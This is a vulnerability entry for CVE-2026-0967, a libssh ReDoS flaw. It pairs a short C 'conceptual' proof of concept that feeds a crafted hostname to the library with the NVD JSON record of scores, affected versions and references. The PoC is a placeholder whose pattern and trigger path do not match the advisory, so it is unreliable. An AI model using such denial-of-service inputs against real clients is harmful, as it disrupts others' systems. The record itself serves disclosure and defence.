CVE-2026-0967

/* * Conceptual PoC for CVE-2026-0967 (libssh ReDoS) * This demonstrates how a crafted hostname in a config file * could trigger the backtracking vulnerability. */ #include <stdio.h> #include <libssh/libssh.h> int main() { ssh_session session; session = ssh_new(); if (session == NULL) exit(-1); // Simulate setting a malicious hostname pattern that triggers ReDoS // The actual pattern depends on the vulnerable regex in match_pattern() const char* malicious_hostname = "attacker.com((((((((((((...))))))))))))"; ssh_options_set(session, SSH_OPTIONS_HOST, malicious_hostname); // This call would eventually trigger the vulnerable match_pattern function // leading to CPU exhaustion. if (ssh_connect(session) != SSH_OK) { // Connection might hang or timeout due to DoS } ssh_disconnect(session); ssh_free(session); return 0; }

{"cve": {"id": "CVE-2026-0967", "sourceIdentifier": "[email protected]", "published": "2026-03-26T21:17:00.970", "lastModified": "2026-05-19T14:16:36.720", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "A flaw was found in libssh. A remote attacker, by controlling client configuration files or known_hosts files, could craft specific hostnames that when processed by the `match_pattern()` function can lead to inefficient regular expression backtracking. This can cause timeouts and resource exhaustion, resulting in a Denial of Service (DoS) for the client."}, {"lang": "es", "value": "Se encontró una vulnerabilidad en libssh. Un atacante remoto, al controlar los archivos de configuración del cliente o los archivos known_hosts, podría crear nombres de host específicos que, al ser procesados por la función `match_pattern()`, pueden llevar a un retroceso ineficiente de expresiones regulares. Esto puede causar tiempos de espera y agotamiento de recursos, lo que resulta en una denegación de servicio (DoS) para el cliente."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}], "cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:L/AC:H/PR:L/UI:R/S:U/C:N/I:N/A:L", "baseScore": 2.2, "baseSeverity": "LOW", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 0.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-1333"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:libssh:libssh:*:*:*:*:*:*:*:*", "versionEndIncluding": "0.11.3", "matchCriteriaId": "2366D711-FD0B-4A04-92BA-DE6DA0ED1BCF"}, {"vulnerable": true, "criteria": "cpe:2.3:o:redhat:enterprise_linux:9.0:*:*:*:*:*:*:*", "matchCriteriaId": "7F6FB57C-2BC7-487C-96DD-132683AEB35D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:redhat:enterprise_linux:10.0:*:*:*:*:*:*:*", "matchCriteriaId": "D65C2163-CFC2-4ABB-8F4E-CB09CEBD006C"}]}]}], "references": [{"url": "https://access.redhat.com/errata/RHSA-2026:18160", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:18683", "source": "[email protected]"}, {"url": "https://access.redhat.com/security/cve/CVE-2026-0967", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2436981", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://www.libssh.org/2026/02/10/libssh-0-12-0-and-0-11-4-security-releases/", "source": "[email protected]", "tags": ["Release Notes"]}]}}